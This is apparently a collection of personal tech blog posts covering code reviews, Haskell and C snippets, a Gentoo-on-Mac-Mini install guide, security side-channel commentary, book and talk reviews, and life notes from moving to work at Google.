  I write this slightly out of anger/pain - I've had two patches get screwed up by code reviews today, but there are two sides to every code review...

  The aim of code reviews is fairly obvious: if your code can't stand up to being reviewed it probably doesn't belong in the code base. There are some obvious downsides too; the amount of time that they take is the most common one that I hear.

  However, there are some other downsides too. The code review is the most error probe part of the patch writing process. When you're actually writing the patch you are fully engaged with the structure of the code - what you're writing is probably correct and testing mostly catches the rest.

  However, in the code review you're constantly in interrupt mode. A reply comes in and you make changes/answer the points in the reply and send it back. Every iteration is dangerous because you're context switching in and out.

  This can be made worse is the reviewer is picking out stupid things: like changing an unsigned to an int (it was the length of a list, unsigned was correct). However, if it's someone else's code, or even if it's just been a long day you might give in and not bother arguing.

  If the two parties know each other, the probability of a dangerous, picky review is reduced for the same reason that communication of all forms generally works better when people actually know each other. Bad reviews also stem when theres a big organisational difference between the two (because no-one is going to tell a senior engineer that they are a crap reviewer)

  Of course, testing often saves the day here, but this is C++ and not everything tests easily. (In fact, very little tests easily unless test friendliness was a major facet of the original design). Inevitably, people don't run all the (probably pretty manual) tests after every little change and they just make that one last requested change and submit to get the damm thing done before lunch. (That would have been me today - the error wasn't a big deal at all, but it won't have happened without the code review.)

  Code reviews also kill all minor changes. No one fixes typos or slightly bad comments because the effort of getting the review is too much. The barrier is such that a whole class of patches never happen.

  One patch of mine today (I vaguely know the reviewer) got slightly better in one part and slightly worse in another because I could deny the requests which were wrong or silly, but did do that with enough vigor. The other (don't know the reviewer and they are very senior) got worse in almost every respect.

  This is not to say that I don't think that code reviews are a good idea. I think some form is needed in a large code base. But they can easily be not just costly, but dangerous, unless done right.

  This code isn't ready to ...

  This code isn't ready to be a Hackage package yet, it's not nearly as capable as I'd want, but it works: NearestNeighbour2D. It lets you find the closest point to a set of points in 2D efficiently. The limitation is that the tree building isn't incremental at all.

  Lazy lists for IO

  I have somewhat mixed feelings about using lazy lists in Haskell for IO. As a quick introduction - there is a technique in Haskell which lets you write pure fuctional code which processes a stream (lazy list) of data and have that stream of data be read/written on demand. This lets you write very neat stuff like:

  BSL.interact (BSL.map ((+) 1))

  which will, with the correct imports, read chunks of bytes from stdin, add one to each byte (with overflow) and write the chunks back to stdout.

  Now, in one sense this is beautiful, but it really limits the error handling which is where my mixed feelings come from. None the less, I just used it in some code and it did lead to really nice code.

  I was writing a very simple IRC bot. I need it to monitor a channel and pick out certain messages. These messages come from the paging system and happen when something goes wrong. I then pipe them out to dzen and have them appear in the middle of the screen.

  To do this I wrote a pure functional IRC client which isn't in the IO monad and is typed like this:

  data IRCEvent = IRCLine String
                  deriving (Show)
  data IRCMessage = IRCMessage String String String | IRCCommand String | IRCTerminal | IRCError String
                    deriving (Show)
  ircSnoop :: [IRCEvent] -> [IRCMessage]

  Think about what an IRC client would be if it were an element in a dataflow graph. It gets a stream of lines from the server and produces two streams: a stream of data to send to the server (joining channels, replying to pings etc) and a stream of results (events from the paging system in this case). Here, IRCEvent is the type of the input stream. It's a type because I originally had extra input events (join/part a channel etc), but I removed them and lines from the server are all that remains. The two output streams are merged into one and separated by type; so the output stream has to be tee'ed, partly going back to the IRC server and partly to the logic which figures out if the message is important and showing it if it is.

  The code to reply to the IRC server:

  ircWrite handle ((IRCCommand line):messages) = do
    hPutStrLn handle (line ++ "\r")
    hFlush handle
    ircWrite handle messages
  ircWrite handle (x:messages) = unsafeInterleaveIO (ircWrite handle messages) >>= return . ((:) x)

  In the case of an IRCCommand result, we write it to the server and loop. Otherwise, we return the element of the list and, process the rest. Note the use of unsafeInterleaveIO because otherwise we would write this equation:

  ircWrite handle (x:messages) = do
    rest <- ircWrite handle messages
    return (x : rest)

  However, that wouldn't produce any results until we hit the end of the messages list. unsafeInterleaveIO lets us return a result and only perform an IO action when the value is forced.

  So, this works really well in this case. The IRC protocol handling is very clean and it's very little code to do quite a lot. So in this case, lazy IO works. I don't have a good example of where it doesn't right now, but when I hit one I'll write it up.

  I had need of an LRU data...

  I had need of an LRU data structure in Haskell: LRU-0.1

  RDF searching

  You may have seen the recent news about an RDF breakthrough (this even hit non-tech media). Well, the paper is here and is worth a read. It's not actually a terribly well written paper and you'll need to read the paper on the index structure to get what's going on.

  Personally, I would have broadcast the requests to all the index servers because hashing to buckets makes resizing the number of buckets very hard. Also, I'm not sure about their data flow for joining sets. But that's fairly minor.

  If you liked those, try the paper on ranking too.

  Of course, this begs the question of how RDF will ever be useful for anything - because it isn't at the moment and it's been around a while. I'm not going into that now.

  (and, if you needed any more reason to switch to Xmonad from ion, see these recent comments from the author)

  Anyone interrested in pro...

  Anyone interrested in programming languages should watch this video of my colleague, Phil Gossett talking about isomorphisms between types and code.

  Oh yes, and Spiderman 3 is terrible, avoid it.

  I have a new window manag...

  I have a new window manager and it works great. There are a couple of minor bugs (my gvim window runs a little off the bottom of the screen), but it's only the first release.

  (although readers should note that I've used ion for years so the switch to Xmonad may be a little more jarring for some.)

  And while I'm typing, I just want to say how spot on Ed Felten is in this post where he talks about the (increasingly loud) chatter about a “clean slte” design for the internet. While we're talking about things which will probably never happen, checkout ipv6porn (don't mind the domain name, it's perfectly safe for work).

  Why you should believe John

  I said a couple of weeks ago that I'd write up one of the contradictions which believing in Egan-esk consciousness. (Just to recap, that means that you don't think there is anything magic about physical brains which precludes them running, in simulation, on a computer. Thus you're happy with uploads and all that other good stuff.)

  Let me be running a discrete time simulation of your brain on a computer. At some time t you are in state s. I simulate you by running an update function which maps s to s+1, based on some input (vision etc) and produces some side channel outputs (your movement etc).

  Now, it's a computer. I can simulate two people and each will run at half the speed. It doesn't matter that the process which is simulating your brain gets time sliced out for a few hundred milliseconds - it doesn't affect the computation at all.

  So, in the middle of calculating s+1 I can go off and do other work so long as I get there in the end. It appears to you that the rest of the world is speeding up (because you are slowing down).

  So I can just treat your state vector as a huge number and increment it with overflow. There is a lot of other computation which will occur before we hit s+1, but we will hit it. If we keep going we will reach s+2 and so on.

  However, every single being with a state vector less than, or equal, to yours in length will live every possible life while we do it.

  That's certainly a little odd.

  Seems I'm right to hate Powerpoint

  As you'll see from my STM talk (see last post), or any other time you ight have seen me talk. I try now to put works on slides. When I talk you have to listen to me, I might talk about code examples or graphs on slides, but I don't try to bullet point everything I'm going to be saying. I've never liked it because I don't like to listen to talks which have it (I usually feel that it stunts the presenter as they fall back on sticking too closly to the slides).

  But it seems that I'm right: “Research points the finger at PowerPoint” (via The Register)

  Software transactional memory talk

  You can see me giving a talk on STM (specifically the GHC implementation) at Google. I wasn't actually very happy with this talk - I didn't feel like the audience really got it and that's my fault since they were plenty smart enough. I guess I should have taken more time at the beginning to get everything up to speed before diving into the examples. It's very tough, once you know something to remember the aspects that you took to understanding. And, even if you chart it, that doesn't mean that the same steps will work for anyone else.

  Still waiting in that room?...

  So Aaron writes to defend the Chinese Room Argument (go read that link if you don't already know the argument - you should).

  I am absolutely a child who grew up reading Egan (who writes awesome short story books - the full lengths ones are not so great) so the idea of uploaded minds etc is as normal to me as trans-pacific shipping (I happen to be watching the ships in San Francisco bay at the moment).

  Take a neuron from my brain. It's certainly complex: it has many inputs, both dendrites and chemical, and its actions are poorly understood at the moment, but it's nothing magical. It's matter and fields and probably some quantum physics in there. If you think there is something magic about them - you can stop reading now but you have a lot of proof to provide.

  But if it's not magic, we could replace a neuron in my brain with a functional clone and I'm the same person. I'm not suggesting that we could do that tomorrow, but that we could do it at all. Repeat many times, and you have a concious person with a non-natural brain.

  Unless you think that the result isn't concious. Did that feature fade out as more neurons were replaced? If so, and since our artificial neurons are assumed to be perfect functional clones, you do believe that there's something magical about them it seems.

  On the other hand, if I have a concious person with my crazy brain, why can't it run in simulation? My artificial neurons can be implemented using beer bottles and bits of string. It really doesn't matter.

  You say that informational processes have to be interpreted to mean anything. But conciousness is a process reflecting upon itself. That happens whatever the hardware is. Yes it leads to some crazy-sounding conclusions and it's certainly not good for one's sense of self importance, but I'm lead here by the above reasoning which seems sound to me and so I accept it.

  Maybe I'll write up one of those crazy conclusions later.

  Digital Gold Cash

  By way of chump I ran across eCache [Tor hidden service via public HTTPS proxy] which is another crypto based gold backed currency.

  I have a fondness for these things, I'm that way inclined and I recently took advantage for my daily communte time to listen to Rothbard's What Has Government Done to Our Money? (everyone should take the time to read it). It seems that there's quite the industry behind eCache (by which I mean "not very much", but it's still more than I expected).

  eGold has existed for a long time and claims to have 35K 24-hour active accounts, which is tiny compared to VISA, but pretty shockly high otherwise considered. Then there's unlinQ, which converts eGold/eCache to virtual-credit cards (although "only available in fixed denominations, can't be reloaded or refunded" suggests that you loose a lot in the granularity since you generally can't pay for things with multiple cards).

  eCache claims to have 310 grams of gold, which is about $7500 worth of backing. Again, hardly going to set the world on fire, but it's more than some guy in a basement somewhere. I have no hope that it will go anywhere, but it's nice cyberpunk porn.

  Paper on PDF generation for Google Book Search

  I'll be presenting this paper at SPIE in San Jose next Wednesday.

  Google Books: Making the public domain universally accessible

  A pure Haskell JPEG decoder

  Here's something I knocked up: it's both a literate Haskell program and a HTML file describing the JPEG file format

  Security through obscurity silly screws

  This week I ended up with one of these: .

  It's a Seagate SATA disk in an external SATA enclosure. I didn't have an external SATA port on anything useful, so I decided to take the hard drive out and put it in a USB enclosure. This shouldn't have been hard.

  Sadly, Seagate decided to use Torx Plus Security screws on the enclosure. They are like torx screws, but with only five points and a pin in the middle. Even that took a bit of finding out, and you can't get them in sets of "Security bits". You can get them on Amazon for $80. Yes, $80 for a set of 11 screw bits.

  So I drilled the buggers out and even going slowly didn't stop two of the screws welding themselves to the drill.

  Why on Earth do Seagate make that kind of crap? Don't ever buy one.

  Bit syntax for Haskell

  Documentation and source code.

  I must be getting old

  So, yesterday, I utterly forgot a password which I use several times a day. I'd typed it twice in the morning and, about mid afternoon, just stopped. This password was so instinctive I just couldn't believe that I couldn't type it, but no amount of frustration over the next 30 minutes changed that.

  But I remembered that I was logged in using it in a Firefox session which was running. So I managed to extract the password from the memory of the firefox process (more on that later) and, although I now had the password, it didn't make any sense. There was no “Oh! That's it!” moment, and no muscle memory when I tried to type it.

  So I was safe, but a little bit freaked out. A couple of hours later (after a beer, which should have been the obvious solution all along) I sat down at the computer and unlocked the screensaver without even thinking about it. (The screensaver needs the same password). I took several minutes before I realised and now ever having forgotten the password seems as impossible as ever having known it did a couple of hours ago.

  I guess it's only going to be a few short years until I start walking into rooms having forgotten why I went there in the first place.

  But anyway, I wrote up a very hacky program for extracting passwords from the memory of a running Firefox process - see the comments at the top for limitations.

  CPU clock skew side-channels

  This is great. He extracts timestamps from the TCP ISNs and uses that to measure skew of the CPU clock and thus the temperature. We can then tell how hard the CPU is working by measuring the temperature increase.

  People already know that time is a side channel and that you shouldn't leak information in the speed in which you process queries. Now you have to heat the CPU uniformly too. Giving out such good timestamps via the TCP ISN is probably a bad design and should be stopped. But there are many ways to get a timestamp from modern systems and noise just means that you need more samples.

  Erlang concurrency in the Haskell type system

  Say that we wanted to implement message-passing concurrency in Haskell. Haskell is a nice language which is ruled by its type system like a Mafia don. (It's easy to design yourself into a corner from which there's nowhere to go if you're not careful.)

  From first glance, things look promising. GHC has lightweight threads and message channels already. But, unlike Erlang, the message channels are typed. So what's the type of a message? Well, we could implement a ping/pong example with:

  data Message = Ping | Pong

  That works fine, but it means that for every different type of message in the system we have to have an entry in that union type.

  So let's try using the class system to define an interface which an actor can implement:

  data Message b = Xon Int | Xoff Int | Reparent Int b
  
  class DataSource a where
    xon :: a -> Int -> IO ()
    xoff :: a -> Int -> IO ()
    reparent :: DataSink b => a -> Int -> b -> IO ()

  The message sending operations are all implemented as IO () functions. Note that we have also used the type system to enforce that any actor passed to reparent has to implement the DataSink interface. Sadly, Haskell can't cope with cycles in the module graph, although cycles in the reference graph are just fine. So if DataSource named DataSink they would both have to be in the same module.

  newtype MySinkThread = MySinkThread (Chan DataSink.Message)
  
  instance DataSink.DataSink MySinkThread where
    write (MySinkThread chan) fd dat = writeChan chan $ DataSink.Write fd dat
    closed (MySinkThread chan) fd = writeChan chan $ DataSink.Closed fd

  There's the instance of a DataSink class, which has two messages: write and closed. The methods just add a message to the channel object. If the actor had several interfaces to implement we would need to create a union type of the Message types of each of the interfaces. This means that having default values for the class methods isn't going to work because we don't know how to wrap the values which get pushed on the channel. I expect we can use templates to generate all the instance decls.

  We can use a monad very like ReaderT to thread the channel through the body of the actor:

  newtype ActorT t m a = T (t -> m a)
  
  runActor :: t -> ActorT t m a -> m a
  runActor thread (T func) = func thread
  
  instance Monad m => Monad (ActorT t m) where
    return a = T (\_ -> return a)
    T func >>= k = T (\r -> do a <- func r
                               let T func2 = k a
                               func2 r)
  
  instance MonadTrans (ActorT t) where
    lift c = T (\_ -> c)
  
  this :: ActorT t IO t
  this = T (\r -> return r)

  And then there's the question of how to write receive. Currently I don't have a better solution than so pass a series of values to a unary lambda with a case statement and to catch the exception if the match fails:

  receive $ \x -> case x of
                    DataSink.Write fd d -> ....

  The receive also needs a way to store the values which didn't match so that they can be tried with future receives. Probably the ActorT can carry a list of such values. Also, any pattern match failure in the receive body will cause the next message to be tried - I don't know any way round that.

  In short: could work fairly well with some work

  libc functions of the week

  open_memstream and fmemopen (both link to the same manpage). These functions are for passing to libraries which expect a FILE * and you want to keep a buffer in memory. Certainly beats writing a temp file.

  Google Books PDF download launched

  Did you wonder what that JBIG2 compressor was for? Now you know

  WEP is now really, really dead

  “The final nail in WEP's coffin”

  Dual booting OS X and Linux on an Intel Mac Mini

  Headline: all the hardware works and seems to work well.

  Warning: the first time I tried this Bootcamp chomped the OS X filesystem and make the system unbootable. Pay attention to the Bootcamp warnings and backup any data you care about first.

  Prepping OS X

  I'm working from a completly clean OS X install here so you may have already done some of these steps:

  Select software update from the Apple menu and get 10.4.7 and all the fireware options offered (I only had one). After the reboot goto http://www.apple.com/support/downloads and search for “mini”. You want two fireware updates and the first (SMC) should have happened via Software Update. The other should now be listed. I don't know how stable the URLs are, but currently it's at:

  http://www.apple.com/support/downloads/macminiearly2006firmwareupdate101.html

  Follow all the instructions about installing the firmware and don't interrupt the process, lest you want to turn your mini into a brick.

  Boot into OS X (you can hold the Option key at startup to select the boot volume - but it should be the default) and install rEFIt from refit.sf.net. Reboot and check that everything works. rEFIt is an EFI bootloader which will be booting lilo for us.

  Get bootcamp from http://www.apple.com/bootcamp and install. It ends up in Applications/Utilities.

  Run it, don't make a driver CD and partition the disk however you want. Click “Restart Mac OS X” and check that the system can still boot.

  Insert a Gentoo 2006.0 minimal install CD and shutdown the system. Press the power button and hold 'c' to boot from the CD.

  With the 2006.0 install kernel the Sky2 NIC will work, but the wireless doesn't (yet) so you'll need a cabled Internet connection.

  You must use parted to partition the disk. The partition table is in GPT format and fdisk doesn't know about it. (Also, remember that when configuring the kernel).

  After the partitioning and mkfs you can check that the system still boots. But when you run the install CD again, the kernel won't know about any of your partitions (because it's a GPT, which I'm guessing the install kernel doesn't know about). Run parted and delete and recreate the partitions with the exact same numbers again and the kernel will suddenly know about them. You don't need to mkfs again (unless you changed the numbers). (When you do this in future you need to set the boot flag, rerun lilo and rerun the rEFIt partition tool because parted seems to clear all that.).

  Now, it's a standard Gentoo install. See http://www.gentoo.org/doc/en/gentoo-x86-quickinstall.xml

  You can find the kernel config I used at http://www.imperialviolet.org/binary/macmini/kernel-config. It's probably not perfect for most people, but it will get you booting. The important points are:

    Device Drivers -> SCSI -> low-level drivers -> SATA support -> Intel PIIX/ICH
    Device Drivers -> Network Device -> Ethernet (1000 Mbps) -> SysKonnect Yukon2
    ... -> ... -> Wireless LAN -> Wireless LAN drivers

  I'm using lilo. The /etc/lilo.conf config should look something like:

  lba32
  
  boot = /dev/sda
  map = /boot/.map
  
  prompt
  delay = 50
  vga = normal
  
  image = /boot/bzImage-2.6.17.3
  	root = /dev/sda3
  	read-only
  	label = 2.6.17.3

  Run lilo Run parted and do:
  • print
  • set
  • (the number of your partition, probably 3)
  • boot
  • on
  • quit

  Reboot

  At the rEFIt startup screen, select the partition tool and sync the MBR.

  With a bit of luck, rEFIt will give you the option to boot from the Linux on the HD. You should now be booting into Linux.

  Getting X working

  Using the new, modular X, you want to set VIDEO_CARDS=i810 in your /etc/make.conf and you need Xorg 7.1 to drive the 945GM found in the mini mac. To get that you may need ACCEPT_KEYWORDS=~x86

  I needed some tricks to get the correct resolution because my panel size (1680x1050) isn't in the native list of video modes. If you need this, see instructions a http://klepas.org/2006/04/09/ubuntu-on-the-inspiron-6400/

  You can see my xorg.conf at http://www.imperialviolet.org/binary/macmini/xorg - note the odd ForceBIOS option for getting the resolution correct. The 915resoltion arguments I'm using are: 915resolution 5a 1680 1050 32 (yes, set 32-bit depth here and 24-bit depth in the xorg.conf).

  Getting sound working

  The 2.6.17.3 kernel needs a patch to get the sound unmuted. Get it from here: http://hg-mirror.alsa-project.org/...

  Wireless

  The madwifi.org drivers for the Atheros work perfectly. Follow the newbie HOWTO on that site.

  If it all goes wrong

  Then just reinstall OS X and try again.

  Insert the OS X install CD and power on. Hold down 'c' to boot from the CD.

  The installer seems to make little or no effort to partition a disk so, if there are no volumes given as a target to install to, don't panic. Select Terminal from the menu and use diskutil to repartition the disk. The command will be something like diskutil partitionDisk disk0 1 "Journaled HFS+" OSX 1M.

  JBIG2 encoder released...

  JBIG2 encoder released

  I've gotten to go ahead t...

  I've gotten to go ahead to open source an JBIG2 encoder I wrote for work, look for that tomorrow or so.

  Summer of Code is active. Go look at that project list (even if you aren't going to do anything under SoC it's a central TODO list for open source software: something we've not had before).

  And this is a really cool paper about high speed concurrency in Haskell - with source.

  BBC podcasts

  Fantastic: after too much effort being put into Real-based stuff, radio 4 finally has downloadable MP3s of some shows. That's been going on for a while but the selection was very limited. Top of the new list is Newspod - a pick of the day of the BBC news. No the mention that the ever wonderful Now Show is also available.

  Patent crazyness

  I have a (fairly) well tested, fast onlines codes implementation which I would post here except that it's clearly not worth the pain when there's a crazy company which believes that it has a patent (baseless or otherwise).

  At least that company does, in fact, make something I guess.

  Control flow with continuations

  I've been hacking about with an interpreter for a little language I'm playing with. The end goals (as ever) as suitably vast, but for the moment I'm writing the dumbest interpreter possible. Here's a little snippet which actually runs:

  var if = { #test x y# (ifte test x y) }
  
  var cc = { return return }
  
  var while = { #test body#
    var k = cc
    if (test) {
      body return
      k k
    }
  }
  
  while { continue 1 } { #break# print }

  Here are the rules:

  • { starts a lambda, the arguments are named in between the # symbols
  • The continuation for the current function is called continue for anonymous lambdas and return for named lambdas
  • Symbols a b c are interpreted as calling a with b and c as arguments.
  • ifte returns its second argument if its first argument is true, other it returns its third argument

  And the explanation:

  if is a simple wrapper around ifte which passed its arguments to it and calls the result. So you pass a value and two callables and one of the callables is run.

  cc returns its own return continuation. In Scheme it would look like this:

  (lambda (cc) (call/cc (lambda (k) (k k))))

  Let's build the while loop up from parts. First, consider a function which is an infinite loop:

  var loop = {
    var k = cc
    k k
  }

  k is the continuation of cc, so if we call it upon itself, cc returns again and returns the same value: k

  Now we all a test callable. Each time round the loop we call the test to see if we should continue:

  var loop-while = { #test#
    var k = cc
    if (test) {
      k k
    }
  }

  Then it's just a case of adding a body argument and calling it every time. The body gets a single argument - the return continuation of the while function. If the body calls this it acts the same as a break in a C-like language.

  My frequency of posting h...

  My frequency of posting has dropped to the point where one would be forgiven for wondering if I was still alive. Well, rest assured that I'm not typing this from beyond the grave, it's just that Google is keeping me busy .

  None the less, I was motivated to post this:

  “consumers concerned about the scam should avoid PIN-based retail transactions, and chose instead to make signature-based, credit-card-style transactions when making purchases with debit or check cards at stores.”

  (from http://www.msnbc.msn.com/id/11731365/)

  Because, chip and pin is so much safer, right? No one could have predicted that putting people's pin numbers everywhere would make it easy to steal them.

  Charging for email

  Firstly, anything which upsets so many people clear has to be worth looking at, right. Well, it would actually appear not - they're all pretty boring.

  (p.s. from some of the descriptions of the specific cartoons on the news I'm not sure if they are actually on that page. Has anyone actually seen these cartoons?)

  Micropayments, fungible (cash) or otherwise (hashcash), have been suggested sa the solution to spam for a long time. Clearly it's a very tough deployment problem (you need lots of people to suddenly start using it), but it would appear that Goodmail have persuaded AOL and Yahoo to sign up (thus might have solved the deployment problem).

  The hope is that, by increasing the cost of sending email, one can make spam uneconomic. But it really doesn't appear that Goodmail is even trying to do that; unpaid email is treated the same as it always was. If the price is too high for spammers (and the quoted 1/4 cent probably is) then they won't pay and spam will be exactly the same as ever.

  As an email sender, the only reason I would wish to pay this is because I have good reason for sending the email (ecommerce confirmations etc) and I don't want the hassel of dealing with customers who's spam filters eat my emails. That's pretty weak. These people have had to deal with it for a long time and rarely can customers not dig through their filters to find an email that they're expecting.

  And since Goodmail are getting paid for each email, their motivation for not accepting emails from spammy senders isn't perfectly aligned with the interests of their customers. Clearly they don't want to squander any trust - but there's a strong temptation to see how far you can push customers for that extra bit of income.

  And is spam really a problem for anyone these days? I get about 200/day and > 95% fall into the spam trap with very few false positives (that's with Gmail). The spams which do get through are random assortments of words usually.

  So I predict that Goodmail will get few customers and make very little difference to anyone.

  (and clueless quote from that article: "I still gets e-mails from lists I signed up for three years ago, but I haven't responded to a single one." - then unsubscribe you moron!

  Google in China

  So Google have launched in China and are censoring results. This has made a lot of people very unhappy (we had protestors outside today voicing that unhappyness)

  Just to be clear, Google doesn't have an option of running an uncensored version in China - it's censored or nothing. It's only a company and, as such, has to follow the laws of the countries it operates in. But Google could have taken a stand and refused to join in. I guess that's what all those people wanted us to do. But here's the thing...

  I really don't think it matters

  Years ago there was a great hope that the introduction of the Internet into China would open the eyes of all the people. Once they knew about the opression under which they toiled, how could they stand it? Well, they did. Turns out that people will put it with it. The Great Firewall of China isn't perfect; it's main function is just to remind people that Big Brother is watching. These people know the oppression under which they toil and accept it. We believed too much in the power of the Internet and we were wrong.

  The driving force for change in China is capitalism, not free expression. All the recent improvements in the lot of the newly rich chinese can be traced to good old fashioned material want. And change in the future is going to come when the bulk of the, still very poor, people start to wake up to this fact. It's happening already and it's only going to get better.

  It might have been nice to make a stand for freedom in this case - but pointless. I really hope Google would never turn someone in like Yahoo did, that's just plain bad, but so far it's not worth the fuss.

  Open Rights Group Alive

  The UK's answer to the EFF is now up and running and accepting donations. I was at the 'birth' of it in Hammersmith last year when the pledge was setup to fund it.

  Well, they've reached 1000 members and it's time to pay up if you are one of them . I don't really want to use PayPal so they'll have to wait until I'm back in the country and I'll mail them a cheque (but I'll be back in a few weeks time; I think they can manage till then).

  Things one should read:Fa...

  Things one should read:

  • Factor - a programming language; very Forth like. I'm playing with it when I get a chance. I'm still not sure about stack based languages. They have nice advantages: factoring out functions is stupidly easy and when the data flow works, it's very elegant. But one cannot understand only part of a function (which is why each function must be small) and, when dealing with > 3 variables, the stack fuzz is crazy. None the less, factor has a good environment (based on jEdit, by the same author) and Erlang like concurrency.
  • Curve25519 a paper on a (fairly) novel public key system with highly optimised implementations, data-independent timing and 32-byte public keys? It just be DJB. (and for anyone who hasn't seen his break of AES)

  Things one should listen to:

  • Ed Reardon's Week
  • The Now Show

  (both are BBC and so both need RealPlayer. Sorry. You can get them working with mplayer if you try.)

  Turns out that char isn't...

  Turns out that char isn't short for signed char, it's a distinct type:

  % cat tmp.c
  void foo(void)
  {
      signed char   *ps = "signed?";
      unsigned char *pu = "unsigned?";
  }
  % gcc -c tmp.c
  tmp.c: In function 'foo':
  tmp.c:3: warning: pointer targets in initialization differ in signedness
  tmp.c:4: warning: pointer targets in initialization differ in signedness

  From this thread

  So it's been a while sinc...

  So it's been a while since I've written anything here. In fact I probably haven't had a gap this long since the last time I worked at Google.

  A number of people have emailed to ask how I'm doing and I've had to batch up all the replies for the last week. Serving dinner at work is great from a healthy eating point of view, but I really don't feel like doing anything much when I get home at 8, 9, 10 o'clock after dining there. You all deserve personal replies, but it's Sunday evening, just before bed, as I write this and I have to admit that it's not going to happen.

  Over the weekend I moved into the forth place I've had since I've been here. I'm averaging three weeks in any one place so far but this place is going to last for a year - really it is. It's a really nice house in Palo Alto with four other people. Thanks to IKEA I now have some furniture but not, yet, any Internet connection here.

  And the climate is crazy. It's mid December and I can quite happily walk home at one in the morning in only a t-shirt. Of course the natives are complaining about the bitter cold and wrapping up in three or four layers, but such is the world.

  It's also the time of Company Christmas parties. Google's was last weekend and was suitably huge, taking up two San Francisco pier buildings. Turns out that the cheapest way to get to Palo Alto from SF at 3am is to hire a stretch limo. Odd but true, and a cool way to round off the evening.

  I'll not be home for Christmas, I've only been here a few months and my family shan't be there anyway. I suspect Christmas will probably be pretty quiet so, you never know, I might get round to writing another blog post by then .

  Lots of public domain books

  Read the Google weblog post if you want, but the operative information is that you goto Google Print and use the date operator to restrict searches to public domain books.

  If you are in the US you can use date:1500-1923 and, if you are outside the US, you can use date:1500-1846 (or proxy through a US host).

  Update: fixed link - thanks Aaron.

  Impressions of a Powerbook:

  • Exposé is very good - but I still like tiled window managers.
  • Quicktime destroys audio. I assume it's Quicktime, it happens for both iTunes and the DVD player. There's an FFT in there somewhere and it's spewing crap into the signal. No amount of turning off eq's and the like fixes it. (but if you know how, please do tell).
  • kqueue doesn't support events from the terminal. This is so silly that I almost can't believe that it's true, but it appears to be.
  • Where the hell is the page up button? That's really annoying. Update: Found it (Fn + arrow keys) - thanks Andy

  Blinking at the price

  Blink is really a collection of short stories (I've just finished it). They are well weaved together and they are all related - but I'm not sure that they really deserve to be in the same book.

  Usually a work like this would be presented as a more old fashioned argument but Blink gets by without any real structure at all. And it's a good read which sells well so I can hardly say that that's a bad idea. Yet, by the end, I was left wondering what exactly I should be taking away from this. I made a list of all the stories, grouped them together and came up with titles for each of the groups:

  • Given a lot of training your subconscious is a great parallel processing system. (Kuros; Red card, blue card; Double fault)
  • The scientific method works. (Gottman; Doctors who get sued; Cook County)
  • Your subconscious can screw you up (IAT; Priming; Warren Harding)
  • Conscious interference will screw up subconscious decisions (Speed dating; Verbal overshadowing; Different jams)
  • Bad surveys give you bad results (New Cola; Aeron chair)
  • People react badly under stress (Police in the Bronx)

  So it seems to me that the book is arguing six different things. Or, at least, it would be if it were arguing anything at all.

  Most of them are actually pretty interesting results, even if the point is pretty bland (e.g. the second group). I've heard about the system about divorces before, but the doctors getting sued was new to me.

  If I were forced to draw it all together I would have to say that it's a pretty damming attack on the notion of The Ration Being. That poor being has been under attack from lots of directions (esp neuroimaging) for years now and it does feel like the ideal of the rational, scientific mind is going the way of Newton's clockwork universe in the face of physiological quantum theory.

  (Just to recap, that means that my rational mind is flagging the fact that I don't seem to have a rational basis in believing that I'm rational. The irony is eye-watering)

  It's a fun read, but I couldn't help looking at the price on the inside cover and thinking that it's not that good a read.

  Malcolm Gladwell came to speak...

  ... at Google today (and we got free copies of “Blink” - don't you love Google.) It looks like his next book will probably have one of the themes that he talked on today.

  The first was conceptual innovation vs experimental innovation. Conceptual innovation is the eureka moment - a new idea which is just very good. Picasso is his example. Picasso made most of his ground breaking stuff when he was young, he planned it, it was a new idea and he faded out as he got older.

  Experimental innovation is the kind which takes a very long time to develop. First example: Cézanne. As opposed to Picasso he was unremarkable for decades. If you study his paintings from when he was 40 (Gladwell says) you would not predict that he would be world class in his 60s.

  Second example: Fleetwood Mac. Their first hit album was Rumours and it was their 16^th album. Their long suffering record company supported them through 15 duff albums before getting some money back. (Can you imagine that happening today?)

  And that last comment seems to be Gladwell's hook for the book - we're missing too much experimental innovation because, as a society, we're geared towards conceptual breakthroughs

  Next topic; targeting elite kids. Gladwell, he claims, was one of the top three junior runners in Canada at age 14. You wouldn't know it to look at him and, although the Canadian government sent him to special running training etc, he didn't turn out to be a great runner at age 21 etc.

  Gladwell says that selecting at a young age is a terrible thing to do because performance in a given area (physical or mental) is a terrible predictor of success in that field when they get older. He seems to have a lot of studies to back this up. Education, he believes, should be more egalitarian.

  One interesting study he quoted was the relation between going to Harvard and earning more later in life. Harvard claims that going there is great for future income (and it would have to be because Harvard costs a lot) but it turns out that the biggest predictor for earning lots is applying to Harvard. You don't have to get in, you just have to be the sort of person who believes that they can and are willing to try it.

  Well there you go. I await the next book, Malcolm.

  Update: There's a recent text, by Gladwell, from the New Yorker about Harvard's entry system.

  I don't usually comment o...

  I don't usually comment on anything Google related here since I started, but I'll make an exception this time:

  Once upon a time there was a website, a kind of proto wiki, and, at the bottom of each page, was a link titled "Delete this page". The Google crawler did its crawl and that was the end of that website.

  (The reason it came to light is because the webmaster of that site emailed Google "asking for his website back" (or words to that effect) and I believe that we dug them out of the crawl data for him. But this is besides the point.)

  The point is that no one does that sort of thing any more. GET links on a website must not be mutable or you can be sure that one of a number of crawlers will mutate it.

  But people didn't really learn, they just retreated behind login pages and such and made all the same mistakes. Now 37signals, no less, a group which carried my respect (until today) is getting very upset that crawlers are getting behind the login pages all over again.

  I won't even comment that they seem to think that GWA has been pulled because of their blog post, nor about the commentators who are making a big deal of the MUST NOT vs SHOULD NOT wording in the spec. Here's the end result

  It's a bad idea - anywhere.

  (I'm not on the GWA team. This is not from them and involves no non-public knowledge of that project)

  Made it

  Am now living in Mountain View, CA. In a hotel at the moment, but with a week before I start work and Craigslist to hand, hopefully somewhere more permeant soon. I understand that most people start by living in Mt View and then, over time, move into San Francisco city proper as they realise how dull the nightlife is here.

  By booking a seat as far forward as I could and with a brisk walk off the plane, I managed to be one of the first people into border control and cut my Time to Clear Border Control to 10 minutes (from some two hours last time). Most of that time was taken up with the official complaining that I hadn't filled out one side of the I94 form. Perhaps I should have stood up for foreigners everywhere and pointed out that the words "For Government Use Only" were written in large, red letters across the top. In reality I said sorry in fear of being sent to the back of a queue of several hundred people which I had put so much effort into being at the front of. So I'm a coward, but a less tired and pissed off coward.

  The flip side of being fast through border control is that they can't clear the luggage off the plane that quickly. So, in future, it may be possible to look less like you're trying to get ahead of everyone while maintaining the same TTCA (Total Time to Clear Airport).

